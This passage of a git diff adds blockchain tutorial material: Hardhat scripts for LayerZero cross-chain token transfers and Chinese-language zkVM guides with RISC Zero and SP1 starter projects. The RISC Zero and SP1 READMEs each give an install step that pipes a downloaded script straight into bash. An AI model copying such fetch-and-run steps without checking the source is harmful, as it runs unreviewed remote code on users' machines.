+});
diff --git a/basic/80-crossChainTransfer/layerZero/scripts/sendTokens/6-checkCrossChainMessageStatus.js b/basic/80-crossChainTransfer/layerZero/scripts/sendTokens/6-checkCrossChainMessageStatus.js
new file mode 100644
index 000000000..f1f594dc4
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/scripts/sendTokens/6-checkCrossChainMessageStatus.js
@@ -0,0 +1,41 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const {ethers} = require("hardhat");
+const {getMessagesBySrcTxHash} = require('@layerzerolabs/scan-client');
+
+
+const {
+  readRedpacketDeployment,
+} = require("../../utils");
+
+async function main() {
+  const sepoliaEndpointId =  10232
+  const deployment = readRedpacketDeployment();
+  const txhash = deployment.BridgetxHashOnSepolia
+  // please refer to https://www.npmjs.com/package/@layerzerolabs/scan-client for more details
+  // enum MessageStatus {
+  //   INFLIGHT = 'INFLIGHT',
+  //   DELIVERED = 'DELIVERED',
+  //   FAILED = 'FAILED',
+  //   PAYLOAD_STORED = 'PAYLOAD_STORED',
+  //   BLOCKED = 'BLOCKED',
+  //   CONFIRMING = 'CONFIRMING',
+  // }
+  const {messages} = await getMessagesBySrcTxHash(
+    sepoliaEndpointId,
+    txhash,
+  );
+  console.log(messages)
+  
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/layerZero/scripts/sendTokens/7-checkResultOnOpsepolia.js b/basic/80-crossChainTransfer/layerZero/scripts/sendTokens/7-checkResultOnOpsepolia.js
new file mode 100644
index 000000000..c1706ccad
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/scripts/sendTokens/7-checkResultOnOpsepolia.js
@@ -0,0 +1,37 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const {ethers} = require("hardhat");
+const {
+  readRedpacketDeployment,
+  saveRedpacketDeployment,
+} = require("../../utils");
+
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+  const deployment = readRedpacketDeployment();
+  const oftv2Address = deployment.OFTAddressOnOptimSepolia
+  const oftv2 = await ethers.getContractAt('OFTV2', oftv2Address, deployer);
+  const destinationEndpoindId =  10232
+  const transferAmount = ethers.parseUnits("10", 9);
+  const adapterParams = ethers.solidityPacked(['uint16', 'uint256'], [1, 2000]);
+  const toAddress = ethers.zeroPadValue("0xfB0Fb78244aa8e03bfA0eF464c176246040dCC86",32);
+  
+  // setMinDstGas, otherwise, it will fail
+  // PT_SEND = 0;
+  // PT_SEND_AND_CALL = 1;
+  let userBalance = await oftv2.balanceOf("0xfB0Fb78244aa8e03bfA0eF464c176246040dCC86")
+  console.log(`user balance is ${userBalance}`)
+
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/layerZero/utils/index.js b/basic/80-crossChainTransfer/layerZero/utils/index.js
new file mode 100644
index 000000000..b27c41e4a
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/utils/index.js
@@ -0,0 +1,128 @@
+// read and save redpacket contract deployment json file
+const path = require("path");
+const fs = require("fs");
+const hre = require("hardhat");
+const fetch = require("node-fetch");
+
+const currentNamework = hre.network.name;
+const DEPLOYMENGT_DIR = path.join(
+  __dirname,
+  "../scripts/deployment.json",
+);
+
+const AddressZero = "0x0000000000000000000000000000000000000000";
+
+async function deployContract(name, params, deployer = undefined) {
+  const contract = await hre.ethers.deployContract(name, params, deployer);
+  await contract.waitForDeployment();
+  // @todo 临时处理
+  contract.address = contract.target;
+  return contract;
+}
+
+const request = (url, params = {}, method = "GET") => {
+  let options = {
+    method,
+  };
+  if ("GET" === method) {
+    url += "?" + new URLSearchParams(params).toString();
+  } else {
+    options.body = JSON.stringify(params);
+  }
+
+  return fetch(url, options).then((response) => response.json());
+};
+
+/*
+ * deployment:
+ *   redPacketAddress
+ *   redPacketOwner
+ *   redPacketID
+ *   simpleTokenAddress
+ */
+function readRedpacketDeployment() {
+  if (!fs.existsSync(DEPLOYMENGT_DIR)) return null;
+  try {
+    return JSON.parse(fs.readFileSync(DEPLOYMENGT_DIR, { encoding: "utf-8" }));
+  } catch {
+    return null;
+  }
+}
+
+function saveRedpacketDeployment(payload) {
+  let oldData = readRedpacketDeployment();
+  if (!oldData) oldData = {};
+  fs.writeFileSync(
+    DEPLOYMENGT_DIR,
+    JSON.stringify({
+      ...oldData,
+      ...payload,
+    }),
+    { flag: "w+" },
+  );
+  return true;
+}
+
+async function verifyContract(
+  contractNameOrAddress,
+  network = hre.network.name,
+  constructorArguments = null,
+) {
+  if (network == "hardhat" || network == "localhost") {
+    console.log("hardhat network skip verifyContract");
+    return;
+  }
+
+  let address;
+  if (isAddress(contractNameOrAddress)) {
+    address = contractNameOrAddress;
+  } else {
+    const data = fs.readFileSync(DEPLOYMENGT_DIR, "utf8");
+    const addresses = JSON.parse(data);
+    address = addresses[contractNameOrAddress];
+  }
+
+  if (!address) {
+    console.error("verifyContract error: Contract depoloyment not found.");
+    return;
+  }
+
+  let params = {
+    address,
+    network,
+    constructorArguments: [],
+  };
+  if (constructorArguments) {
+    params.constructorArguments = constructorArguments;
+  }
+
+  try {
+    await hre.run("verify:verify", params);
+    console.log("verifyContract successfully!");
+  } catch (e) {
+    console.error("verifyContract error:", e);
+  }
+}
+
+function isAddress(str) {
+  return /^0x[a-fA-F0-9]{40}$/.test(str);
+}
+
+function hashToken(account) {
+  return Buffer.from(
+    hre.ethers.utils.solidityPackedKeccak256(["address"], [account]).slice(2),
+    "hex",
+  );
+}
+
+module.exports = {
+  AddressZero,
+  deployContract,
+  DEPLOYMENGT_DIR,
+  isAddress,
+  verifyContract,
+  readRedpacketDeployment,
+  saveRedpacketDeployment,
+  hashToken,
+  request,
+};
diff --git a/basic/81-zkVM/.gitignore b/basic/81-zkVM/.gitignore
new file mode 100644
index 000000000..692c14dd2
--- /dev/null
+++ b/basic/81-zkVM/.gitignore
@@ -0,0 +1,2 @@
+Cargo.lock
+.github
\ No newline at end of file
diff --git a/basic/81-zkVM/README.md b/basic/81-zkVM/README.md
new file mode 100644
index 000000000..68f7ca14f
--- /dev/null
+++ b/basic/81-zkVM/README.md
@@ -0,0 +1,46 @@
+## 什么是 zkVM ？
+
+虚拟机（VM）是运行程序的程序。zkVM是一种虚拟机技术，它专门设计用来创建零知识证明。这种技术能够为任何程序或计算过程提供一个通用的框架，从而生成证明，证明这些程序或计算是按照预定的方式正确执行的，而无需透露任何关于执行过程的具体信息。
+
+zkVM不要求学习复杂的数学和密码学来设计和编码ZK，让任何开发人员都可以执行用他们喜欢的语言编写的程序并生成ZKP（零知识证明），从而更容易与零知识证明集成和交互。从广义上讲，大多数zkVM都意味着包括附加到执行程序的虚拟机的编译器工具链和证明系统，而不仅仅是虚拟机本身。
+
+## zkVM 运行流程
+
+### 1. 编译阶段（Compiler Stage）：
+
+程序使用传统编程语言（如C、C++、Rust、Solidity）编写，然后被编译器编译成特定指令集架构（ISA）的机器码。
+
+RISC0/SP1 使用 RUST 来编写，编译器将RUST 程序编译成RISC-V指令集, 生成 RISC-V ELF 文件。
+
+### 2. 虚拟机阶段（VM Stage）：
+
+虚拟机（VM）执行机器码，并生成执行跟踪，这是程序执行的一系列步骤。
+执行跟踪的格式由选择的算术化方案和多项式约束集预定。
+
+### 3. 证明者阶段（Prover Stage）：
+
+Prover 使用某种ZKP证明系统（例如 zkSTARK）生成执行证明，来证明任意 RISC-V 程序执行的正确执行。
+
+### 4. 验证者阶段（Verifier Stage）：
+
+Verifier 通过遵循证明系统的验证协议来检查证明, 根据证明的有效性接受或拒绝结果。
+
+
+## zkVM 与区块链集成
+
+1. 使用 zkVM 链下生成 SNARK proof。
+2. 编写智能合约方法验证 proof， 如果 proof 验证成功，继续执行合约逻辑。
+3. 发起交易，调用智能合约方法验证 proof 。
+
+
+## zkVM 项目
+本 task 将介绍两个 zkVM 项目
+* [RISC Zero](risczero)
+* [SP1](sp1)
+
+## zkVM 使用场景
+一些使用场景举例
+1. ZK 协处理器: 使区块链应用程序能够通过将应用程序逻辑的昂贵部分移至链外来降低 Gas 成本
+
+2. Rollup: 使用 ZKP 有效性证明或 ZK 欺诈证明构建rollups。
+3. 可验证的 ETH 区块： 例如基于 RISC0 的 [Zeth](https://github.com/risc0/zeth)
\ No newline at end of file
diff --git a/basic/81-zkVM/risczero/README.md b/basic/81-zkVM/risczero/README.md
new file mode 100644
index 000000000..ecdf41cb4
--- /dev/null
+++ b/basic/81-zkVM/risczero/README.md
@@ -0,0 +1,83 @@
+## RISC Zero
+
+RISC Zero 为全球开发人员创建利用 ZK 技术的软件所需的基础设施和工具。
+
+## 安装 
+
+### 准备
+RISC Zero zkVM 需要先安装 rust， 请参考[RUST安装教程](https://www.rust-lang.org/tools/install)自行安装。
+
+### 安装 rzup
+rzup 管理RISC Zero的安装
+
+1. 使用下面命令安装 rzup
+
+```
+curl -L https://risczero.com/install | bash
+
+```
+2. 运行 rzup 安装 RISC Zero
+
+```
+rzup
+```
+使用 --version 参数 安装指定版本的 RISC Zero
+
+```
+rzup --version 1.1.0-alpha.1
+```
+
+
+## 创建zkVM Application
+
+--guest-name guest是程序名字，zkVM 运行 guest程序，生成执行证明。
+
+```
+cargo risczero new my_project --guest-name guest_code_for_zk_proof
+```
+
+### 目录结构
+
+```
+├── host
+│   ├── Cargo.toml
+│   └── src
+│       └── main.rs
+├── methods
+│   ├── guest
+│   │   └── src
+│   │       └── main.rs
+│   └── src
+│       └── lib.rs
+```
+**host** 就是主机， 他给 guest 程序传入数据，调用执行 guest 并获得执行结果和生成执行证明，代码在 **host/src/main.rs** 文件中
+
+**guest** 是需要 zkVM 来执行的程序，接收 host 传入的数据，然后执行计算并返回执行结果， 代码在 **methods/guest/src/main.rs**文件中
+
+
+### 生成证明
+
+执行 host 代码，运行 host/src/main.rs 文件
+
+```
+cargo run --release
+```
+
+## 使用Bonsai 生成 proofs 
+Bonsai 是一个zk coprocessor，是RISC Zero 官方的 一个远程的 zk 证明计算服务。它能帮助 zk Application 低成本快速的生成证明。
+
+
+
+## 与区块链集成
+链下生成证明，链上验证证明
+
+![alt text](images/image.png)
+
+详情参见官方脚手架 [risc0-foundry-template](https://github.com/risc0/risc0-foundry-template)
+
+
+
+## 相关链接
+
+1. 官方文档。https://dev.risczero.com/
+2. Bonsai。 https://www.risczero.com/blog/a-guide-to-zk-coprocessors-for-scalability
\ No newline at end of file
diff --git a/basic/81-zkVM/risczero/images/image.png b/basic/81-zkVM/risczero/images/image.png
new file mode 100644
index 000000000..b6f64a0c5
Binary files /dev/null and b/basic/81-zkVM/risczero/images/image.png differ
diff --git a/basic/81-zkVM/risczero/my_project/.gitignore b/basic/81-zkVM/risczero/my_project/.gitignore
new file mode 100644
index 000000000..f4247e182
--- /dev/null
+++ b/basic/81-zkVM/risczero/my_project/.gitignore
@@ -0,0 +1,4 @@
+.DS_Store
+Cargo.lock
+methods/guest/Cargo.lock
+target/
diff --git a/basic/81-zkVM/risczero/my_project/Cargo.toml b/basic/81-zkVM/risczero/my_project/Cargo.toml
new file mode 100644
index 000000000..63b3854ee
--- /dev/null
+++ b/basic/81-zkVM/risczero/my_project/Cargo.toml
@@ -0,0 +1,11 @@
+[workspace]
+resolver = "2"
+members = ["host", "methods"]
+
+# Always optimize; building and running the guest takes much longer without optimization.
+[profile.dev]
+opt-level = 3
+
+[profile.release]
+debug = 1
+lto = true
diff --git a/basic/81-zkVM/risczero/my_project/README.md b/basic/81-zkVM/risczero/my_project/README.md
new file mode 100644
index 000000000..86ce485c2
--- /dev/null
+++ b/basic/81-zkVM/risczero/my_project/README.md
@@ -0,0 +1,111 @@
+# RISC Zero Rust Starter Template
+
+Welcome to the RISC Zero Rust Starter Template! This template is intended to
+give you a starting point for building a project using the RISC Zero zkVM.
+Throughout the template (including in this README), you'll find comments
+labelled `TODO` in places where you'll need to make changes. To better
+understand the concepts behind this template, check out the [zkVM
+Overview][zkvm-overview].
+
+## Quick Start
+
+First, make sure [rustup] is installed. The
+[`rust-toolchain.toml`][rust-toolchain] file will be used by `cargo` to
+automatically install the correct version.
+
+To build all methods and execute the method within the zkVM, run the following
+command:
+
+```bash
+cargo run
+```
+
+This is an empty template, and so there is no expected output (until you modify
+the code).
+
+### Executing the project locally in development mode
+
+During development, faster iteration upon code changes can be achieved by leveraging [dev-mode], we strongly suggest activating it during your early development phase. Furthermore, you might want to get insights into the execution statistics of your project, and this can be achieved by specifying the environment variable `RUST_LOG="[executor]=info"` before running your project.
+
+Put together, the command to run your project in development mode while getting execution statistics is:
+
+```bash
+RUST_LOG="[executor]=info" RISC0_DEV_MODE=1 cargo run
+```
+
+### Running proofs remotely on Bonsai
+
+_Note: The Bonsai proving service is still in early Alpha; an API key is
+required for access. [Click here to request access][bonsai access]._
+
+If you have access to the URL and API key to Bonsai you can run your proofs
+remotely. To prove in Bonsai mode, invoke `cargo run` with two additional
+environment variables:
+
+```bash
+BONSAI_API_KEY="YOUR_API_KEY" BONSAI_API_URL="BONSAI_URL" cargo run
+```
+
+## How to create a project based on this template
+
+Search this template for the string `TODO`, and make the necessary changes to
+implement the required feature described by the `TODO` comment. Some of these
+changes will be complex, and so we have a number of instructional resources to
+assist you in learning how to write your own code for the RISC Zero zkVM:
+
+- The [RISC Zero Developer Docs][dev-docs] is a great place to get started.
+- Example projects are available in the [examples folder][examples] of
+  [`risc0`][risc0-repo] repository.
+- Reference documentation is available at [https://docs.rs][docs.rs], including
+  [`risc0-zkvm`][risc0-zkvm], [`cargo-risczero`][cargo-risczero],
+  [`risc0-build`][risc0-build], and [others][crates].
+
+## Directory Structure
+
+It is possible to organize the files for these components in various ways.
+However, in this starter template we use a standard directory structure for zkVM
+applications, which we think is a good starting point for your applications.
+
+```text
+project_name
+├── Cargo.toml
+├── host
+│   ├── Cargo.toml
+│   └── src
+│       └── main.rs                    <-- [Host code goes here]
+└── methods
+    ├── Cargo.toml
+    ├── build.rs
+    ├── guest
+    │   ├── Cargo.toml
+    │   └── src
+    │       └── method_name.rs         <-- [Guest code goes here]
+    └── src
+        └── lib.rs
+```
+
+## Video Tutorial
+
+For a walk-through of how to build with this template, check out this [excerpt
+from our workshop at ZK HACK III][zkhack-iii].
+
+## Questions, Feedback, and Collaborations
+
+We'd love to hear from you on [Discord][discord] or [Twitter][twitter].
+
+[bonsai access]: https://bonsai.xyz/apply
+[cargo-risczero]: https://docs.rs/cargo-risczero
+[crates]: https://github.com/risc0/risc0/blob/main/README.md#rust-binaries
+[dev-docs]: https://dev.risczero.com
+[dev-mode]: https://dev.risczero.com/api/generating-proofs/dev-mode
+[discord]: https://discord.gg/risczero
+[docs.rs]: https://docs.rs/releases/search?query=risc0
+[examples]: https://github.com/risc0/risc0/tree/main/examples
+[risc0-build]: https://docs.rs/risc0-build
+[risc0-repo]: https://www.github.com/risc0/risc0
+[risc0-zkvm]: https://docs.rs/risc0-zkvm
+[rustup]: https://rustup.rs
+[rust-toolchain]: rust-toolchain.toml
+[twitter]: https://twitter.com/risczero
+[zkvm-overview]: https://dev.risczero.com/zkvm
+[zkhack-iii]: https://www.youtube.com/watch?v=Yg_BGqj_6lg&list=PLcPzhUaCxlCgig7ofeARMPwQ8vbuD6hC5&index=5
diff --git a/basic/81-zkVM/risczero/my_project/host/Cargo.toml b/basic/81-zkVM/risczero/my_project/host/Cargo.toml
new file mode 100644
index 000000000..bd967c61c
--- /dev/null
+++ b/basic/81-zkVM/risczero/my_project/host/Cargo.toml
@@ -0,0 +1,10 @@
+[package]
+name = "host"
+version = "0.1.0"
+edition = "2021"
+
+[dependencies]
+methods = { path = "../methods" }
+risc0-zkvm = { version = "1.0.5" }
+tracing-subscriber = { version = "0.3", features = ["env-filter"] }
+serde = "1.0"
diff --git a/basic/81-zkVM/risczero/my_project/host/src/main.rs b/basic/81-zkVM/risczero/my_project/host/src/main.rs
new file mode 100644
index 000000000..5bf9ea3e6
--- /dev/null
+++ b/basic/81-zkVM/risczero/my_project/host/src/main.rs
@@ -0,0 +1,56 @@
+// These constants represent the RISC-V ELF and the image ID generated by risc0-build.
+// The ELF is used for proving and the ID is used for verification.
+use methods::{
+    GUEST_CODE_FOR_ZK_PROOF_ELF, GUEST_CODE_FOR_ZK_PROOF_ID
+};
+use risc0_zkvm::{default_prover, ExecutorEnv};
+
+fn main() {
+    // Initialize tracing. In order to view logs, run `RUST_LOG=info cargo run`
+    tracing_subscriber::fmt()
+        .with_env_filter(tracing_subscriber::filter::EnvFilter::from_default_env())
+        .init();
+
+    // An executor environment describes the configurations for the zkVM
+    // including program inputs.
+    // An default ExecutorEnv can be created like so:
+    // `let env = ExecutorEnv::builder().build().unwrap();`
+    // However, this `env` does not have any inputs.
+    //
+    // To add guest input to the executor environment, use
+    // ExecutorEnvBuilder::write().
+    // To access this method, you'll need to use ExecutorEnv::builder(), which
+    // creates an ExecutorEnvBuilder. When you're done adding input, call
+    // ExecutorEnvBuilder::build().
+
+    // For example:
+    let input: u32 = 15 * u32::pow(2, 27) + 1;
+    let env = ExecutorEnv::builder()
+        .write(&input)
+        .unwrap()
+        .build()
+        .unwrap();
+
+    // Obtain the default prover.
+    let prover = default_prover();
+
+    // Proof information by proving the specified ELF binary.
+    // This struct contains the receipt along with statistics about execution of the guest
+    let prove_info = prover
+        .prove(env, GUEST_CODE_FOR_ZK_PROOF_ELF)
+        .unwrap();
+
+    // extract the receipt.
+    let receipt = prove_info.receipt;
+
+    // TODO: Implement code for retrieving receipt journal here.
+
+    // For example:
+    let _output: u32 = receipt.journal.decode().unwrap();
+
+    // The receipt was verified at the end of proving, but the below code is an
+    // example of how someone else could verify this receipt.
+    receipt
+        .verify(GUEST_CODE_FOR_ZK_PROOF_ID)
+        .unwrap();
+}
diff --git a/basic/81-zkVM/risczero/my_project/methods/Cargo.toml b/basic/81-zkVM/risczero/my_project/methods/Cargo.toml
new file mode 100644
index 000000000..bed6bf8bc
--- /dev/null
+++ b/basic/81-zkVM/risczero/my_project/methods/Cargo.toml
@@ -0,0 +1,10 @@
+[package]
+name = "methods"
+version = "0.1.0"
+edition = "2021"
+
+[build-dependencies]
+risc0-build = { version = "1.0.5" }
+
+[package.metadata.risc0]
+methods = ["guest"]
diff --git a/basic/81-zkVM/risczero/my_project/methods/build.rs b/basic/81-zkVM/risczero/my_project/methods/build.rs
new file mode 100644
index 000000000..08a8a4eb7
--- /dev/null
+++ b/basic/81-zkVM/risczero/my_project/methods/build.rs
@@ -0,0 +1,3 @@
+fn main() {
+    risc0_build::embed_methods();
+}
diff --git a/basic/81-zkVM/risczero/my_project/methods/guest/Cargo.toml b/basic/81-zkVM/risczero/my_project/methods/guest/Cargo.toml
new file mode 100644
index 000000000..58e4ea3fe
--- /dev/null
+++ b/basic/81-zkVM/risczero/my_project/methods/guest/Cargo.toml
@@ -0,0 +1,9 @@
+[package]
+name = "guest_code_for_zk_proof"
+version = "0.1.0"
+edition = "2021"
+
+[workspace]
+
+[dependencies]
+risc0-zkvm = { version = "1.0.5", default-features = false, features = ['std'] }
diff --git a/basic/81-zkVM/risczero/my_project/methods/guest/src/main.rs b/basic/81-zkVM/risczero/my_project/methods/guest/src/main.rs
new file mode 100644
index 000000000..65a3f6460
--- /dev/null
+++ b/basic/81-zkVM/risczero/my_project/methods/guest/src/main.rs
@@ -0,0 +1,13 @@
+use risc0_zkvm::guest::env;
+
+fn main() {
+    // TODO: Implement your guest code here
+
+    // read the input
+    let input: u32 = env::read();
+
+    // TODO: do something with the input
+
+    // write public output to the journal
+    env::commit(&input);
+}
diff --git a/basic/81-zkVM/risczero/my_project/methods/src/lib.rs b/basic/81-zkVM/risczero/my_project/methods/src/lib.rs
new file mode 100644
index 000000000..1bdb3085f
--- /dev/null
+++ b/basic/81-zkVM/risczero/my_project/methods/src/lib.rs
@@ -0,0 +1 @@
+include!(concat!(env!("OUT_DIR"), "/methods.rs"));
diff --git a/basic/81-zkVM/risczero/my_project/rust-toolchain.toml b/basic/81-zkVM/risczero/my_project/rust-toolchain.toml
new file mode 100644
index 000000000..36614c30c
--- /dev/null
+++ b/basic/81-zkVM/risczero/my_project/rust-toolchain.toml
@@ -0,0 +1,4 @@
+[toolchain]
+channel = "stable"
+components = ["rustfmt", "rust-src"]
+profile = "minimal"
diff --git a/basic/81-zkVM/sp1/.gitignore b/basic/81-zkVM/sp1/.gitignore
new file mode 100644
index 000000000..f8aee0814
--- /dev/null
+++ b/basic/81-zkVM/sp1/.gitignore
@@ -0,0 +1 @@
+fibonacci/contracts/lib
\ No newline at end of file
diff --git a/basic/81-zkVM/sp1/README.md b/basic/81-zkVM/sp1/README.md
new file mode 100644
index 000000000..0a3460d09
--- /dev/null
+++ b/basic/81-zkVM/sp1/README.md
@@ -0,0 +1,78 @@
+## SP1
+SP1 是一个高性能的开源零知识虚拟机 (zkVM)，可验证任意 Rust（或任何 LLVM 编译语言）程序的执行情况。
+
+## 安装
+### 安装SP1 installer sp1up
+```
+curl -L https://sp1.succinct.xyz | bash
+
+sp1up
+```
+
+sp1up会安装两个东西： succinct 和 cargo prove
+
+## 创建一个 SP1 项目
+
+创建一个新的SP1项目，包含 fibonacci示例。
+```
+cargo prove new fibonacci
+cd fibonacci
+```
+
+也可以使用官方项目模板
+[sp1-project-template](https://github.com/succinctlabs/sp1-project-template)
+
+### 项目结构
+
+```
+├── contracts
+│   ├── src
+│   │   ├── Fibonacci.sol
+│   └── test
+│       └── Fibonacci.t.sol
+├── program
+│   ├── Cargo.lock
+│   ├── Cargo.toml
+│   └── src
+│       └── main.rs
+└── script
+    └── src
+        └── bin
+            ├── evm.rs
+            ├── main.rs
+            └── vkey.rs
+```
+
+项目中有 3 个目录：
+
+contracts: 基于 foundry 的solidity ZKP 验证合约目录。
+
+program：将在 zkVM 中执行，需要进行 ZKP证明的程序源代码。
+
+script：包含证明生成和验证代码的代码。其中evm.rs 用于与evm 链交互，main.rs 生成离线证明并验证。 vkey.rs 获取用于链上合约使用的“programVKey”。
+
+
+### 生成证明
+执行 zkVM，并生成 ZKP 证明 , 默认 --bin 参数位 main,  实际执行 script/src/bin/main.rs文件 
+
+```
+cd script
+RUST_LOG=info cargo run --release -- --execute
+
+RUST_LOG=info cargo run --release -- --prove
+```
+
+生成用于 evm 链上验证的证明, 实际执行 script/src/bin/evm.rs 文件
+
+
+```
+cargo run --release --bin evm
+```
+
+## 官方 Prover Network
+Prover Network在多台机器上生成 SP1 证明，从而减少延迟，并在优化的硬件实例上运行 SP1，从而缩短证明生成时间并降低成本。
+
+详情参考Prover Network 相关文档： https://docs.succinct.xyz/generating-proofs/prover-network.html 
+
+## 相关链接
+1. SP1官方文档。 https://docs.succinct.xyz/
\ No newline at end of file
diff --git a/basic/81-zkVM/sp1/fibonacci/.env.example b/basic/81-zkVM/sp1/fibonacci/.env.example
new file mode 100644
index 000000000..48913a134
--- /dev/null
+++ b/basic/81-zkVM/sp1/fibonacci/.env.example
@@ -0,0 +1,5 @@
+# 'mock' for generating mock proofs locally, 'local' for generating proofs locally, 'network' for generating proofs using the proving network.
+SP1_PROVER=local
+# If using the proving network, set to your whitelisted private key. For more information, see:
+# https://docs.succinct.xyz/prover-network/setup.html#key-setup
+SP1_PRIVATE_KEY=
\ No newline at end of file
diff --git a/basic/81-zkVM/sp1/fibonacci/.gitignore b/basic/81-zkVM/sp1/fibonacci/.gitignore
new file mode 100644
index 000000000..beaa6203d
--- /dev/null
+++ b/basic/81-zkVM/sp1/fibonacci/.gitignore
@@ -0,0 +1,19 @@
+# Cargo build
+**/target
+
+# Cargo config
+.cargo
+
+# Profile-guided optimization
+/tmp
+pgo-data.profdata
+
+# MacOS nuisances
+.DS_Store
+
+# Proofs
+**/proof-with-pis.json
+**/proof-with-io.json
+
+# Env
+.env
diff --git a/basic/81-zkVM/sp1/fibonacci/.gitmodules b/basic/81-zkVM/sp1/fibonacci/.gitmodules
new file mode 100644
index 000000000..0394c23d7
--- /dev/null
+++ b/basic/81-zkVM/sp1/fibonacci/.gitmodules
@@ -0,0 +1,8 @@
+[submodule "contracts/lib/forge-std"]
+	path = contracts/lib/forge-std
+	url = https://github.com/foundry-rs/forge-std
+	tag = v1.8.2
+[submodule "contracts/lib/sp1-contracts"]
+	path = contracts/lib/sp1-contracts
+	url = https://github.com/succinctlabs/sp1-contracts
+	tag = v1.1.0
diff --git a/basic/81-zkVM/sp1/fibonacci/Cargo.toml b/basic/81-zkVM/sp1/fibonacci/Cargo.toml
new file mode 100644
index 000000000..3915b2091
--- /dev/null
+++ b/basic/81-zkVM/sp1/fibonacci/Cargo.toml
@@ -0,0 +1,10 @@
+[workspace]
+members = [
+    "lib",
+    "program",
+    "script",
+]
+resolver = "2"
+
+[workspace.dependencies]
+alloy-sol-types = "0.7.7"
\ No newline at end of file
diff --git a/basic/81-zkVM/sp1/fibonacci/README.md b/basic/81-zkVM/sp1/fibonacci/README.md
new file mode 100644
index 000000000..65368b341
--- /dev/null
+++ b/basic/81-zkVM/sp1/fibonacci/README.md
@@ -0,0 +1,77 @@
+# SP1 Project Template
+
+This is a template for creating an end-to-end [SP1](https://github.com/succinctlabs/sp1) project
+that can generate a proof of any RISC-V program.
+
+## Requirements
+
+- [Rust](https://rustup.rs/)
+- [SP1](https://succinctlabs.github.io/sp1/getting-started/install.html)
+
+## Running the Project
+
+There are three main ways to run this project: execute a program, generate a core proof, and
+generate an EVM-compatible proof.
+
+### Execute the Program
+
+To run the program without generating a proof:
+
+```sh
+cd script
+cargo run --release -- --execute
+```
+
+This will execute the program and display the output.
+
+### Generate a Core Proof
+
+To generate a core proof for your program:
+
+```sh
+cd script
+cargo run --release -- --prove
+```
+
+### Generate an EVM-Compatible (PLONK) Proof
+
+> [!WARNING]
+> You will need at least 128GB RAM to generate the PLONK proof.
+
+To generate a PLONK proof that is small enough to be verified on-chain and verifiable by the EVM:
+
+```sh
+cd script
+cargo run --release --bin evm
+```
+
+This command also generates a fixture that can be used to test the verification of SP1 zkVM proofs
+inside Solidity.
+
+### Retrieve the Verification Key
+
+To retrieve your `programVKey` for your on-chain contract, run the following command:
+
+```sh
+cargo run --release --bin vkey
+```
+
+## Using the Prover Network
+
+We highly recommend using the Succinct prover network for any non-trivial programs or benchmarking purposes. For more information, see the [setup guide](https://docs.succinct.xyz/prover-network/setup.html).
+
+To get started, copy the example environment file:
+
+```sh
+cp .env.example .env
+```
+
+Then, set the `SP1_PROVER` environment variable to `network` and set the `SP1_PRIVATE_KEY`
+environment variable to your whitelisted private key.
+
+For example, to generate an EVM-compatible proof using the prover network, run the following
+command:
+
+```sh
+SP1_PROVER=network SP1_PRIVATE_KEY=... cargo run --release --bin evm
+```
diff --git a/basic/81-zkVM/sp1/fibonacci/contracts/.gitignore b/basic/81-zkVM/sp1/fibonacci/contracts/.gitignore
new file mode 100644
index 000000000..59ae5b19e
--- /dev/null
+++ b/basic/81-zkVM/sp1/fibonacci/contracts/.gitignore
@@ -0,0 +1,15 @@
+# Compiler files
+cache/
+out/
+
+# Ignores development broadcast logs
+/broadcast
+/broadcast/*/11155111/
+/broadcast/*/31337/
+/broadcast/**/dry-run/
+
+# Docs
+docs/
+
+# Dotenv file
+.env
diff --git a/basic/81-zkVM/sp1/fibonacci/contracts/README.md b/basic/81-zkVM/sp1/fibonacci/contracts/README.md
new file mode 100644
index 000000000..02f860ab1
--- /dev/null
+++ b/basic/81-zkVM/sp1/fibonacci/contracts/README.md
@@ -0,0 +1,61 @@
+# SP1 Project Template Contracts
+
+This is a template for writing a contract that uses verification of [SP1](https://github.com/succinctlabs/sp1) PlonK proofs onchain using the [SP1VerifierGateway](https://github.com/succinctlabs/sp1-contracts/blob/main/contracts/src/SP1VerifierGateway.sol).
+
+## Requirements
+
+- [Foundry](https://book.getfoundry.sh/getting-started/installation)
+
+## Test
+
+```sh
+forge test -v
+```
+
+## Deployment
+
+#### Step 1: Set the `VERIFIER` environment variable
+
+Find the address of the `verifer` to use from the [deployments](https://github.com/succinctlabs/sp1-contracts/tree/main/contracts/deployments) list for the chain you are deploying to. Set it to the `VERIFIER` environment variable, for example:
+
+```sh
+VERIFIER=0x3B6041173B80E77f038f3F2C0f9744f04837185e
+```
+
+Note: you can use either the [SP1VerifierGateway](https://github.com/succinctlabs/sp1-contracts/blob/main/contracts/src/SP1VerifierGateway.sol) or a specific version, but it is highly recommended to use the gateway as this will allow you to use different versions of SP1.
+
+#### Step 2: Set the `PROGRAM_VKEY` environment variable
+
+Find your program verification key by going into the `../script` directory and running `RUST_LOG=info cargo run --package fibonacci-script --bin vkey --release`, which will print an output like:
+
+> Program Verification Key: 0x00620892344c310c32a74bf0807a5c043964264e4f37c96a10ad12b5c9214e0e
+
+Then set the `PROGRAM_VKEY` environment variable to the output of that command, for example:
+
+```sh
+PROGRAM_VKEY=0x00620892344c310c32a74bf0807a5c043964264e4f37c96a10ad12b5c9214e0e
+```
+
+#### Step 3: Deploy the contract
+
+Fill out the rest of the details needed for deployment:
+
+```sh
+RPC_URL=...
+```
+
+```sh
+PRIVATE_KEY=...
+```
+
+Then deploy the contract to the chain:
+
+```sh
